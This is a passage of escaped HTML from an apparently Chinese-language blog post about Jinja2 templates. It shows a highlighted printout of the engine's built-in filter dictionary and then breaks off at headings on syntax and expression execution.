style=\"color: #393A34\"> function <\/span><span style=\"color: #998418\">abs<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">attr<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_attr at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa0c10<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">batch<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_batch at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8fb50<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">capitalize<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_capitalize at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e5f0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">center<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_center at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8ee60<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">count<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">built<\/span><span style=\"color: #AB5959\">-in<\/span><span style=\"color: #393A34\"> function <\/span><span style=\"color: #998418\">len<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">d<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_default at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8ed40<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">default<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_default at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8ed40<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">dictsort<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_dictsort at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e710<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">e<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function escape at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e199a75d900<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">escape<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function escape at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e199a75d900<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">filesizeformat<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_filesizeformat at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f400<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">first<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_first at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f2e0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">float<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_float at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f880<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">forceescape<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_forceescape at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e170<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">format<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_format at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f910<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">groupby<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_groupby at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa05e0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">indent<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_indent at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f5b0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">int<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_int at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f7f0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">join<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_join at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f010<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">last<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_last at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f130<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">length<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">built<\/span><span style=\"color: #AB5959\">-in<\/span><span style=\"color: #393A34\"> function <\/span><span style=\"color: #998418\">len<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">list<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_list at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa0a60<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">lower<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_lower at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e440<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">items<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_items at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e4d0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">map<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_map at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa0ee0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">min<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_min at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8ec20<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">max<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_max at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8ecb0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">pprint<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_pprint at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f490<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">random<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_random at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f370<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">reject<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_reject at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa1360<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">rejectattr<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_rejectattr at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa17e0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">replace<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_replace at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e320<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">reverse<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_reverse at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa0b80<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">round<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_round at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8fd90<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">safe<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_mark_safe at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa08b0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">select<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_select at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa1120<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">selectattr<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_selectattr at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa15a0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">slice<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_slice at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8fd00<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">sort<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_sort at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e830<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">string<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function soft_str at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e199a75dd80<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">striptags<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_striptags at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8fa30<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">sum<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_sum at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa0820<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">title<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_title at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e680<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">trim<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_trim at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f9a0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">truncate<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_truncate at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f640<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">unique<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_unique at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8eb00<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">upper<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_upper at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e3b0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">urlencode<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_urlencode at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e200<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">urlize<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_urlize at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f520<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">wordcount<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_wordcount at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f760<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">wordwrap<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_wordwrap at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8f6d0<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">xmlattr<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_xmlattr at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999f8e560<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">tojson<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function do_tojson at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7e1999fa1630<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\">}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u8bed\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u8868\u8fbe\u5f0f\u6267\u884c<\/h4>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" 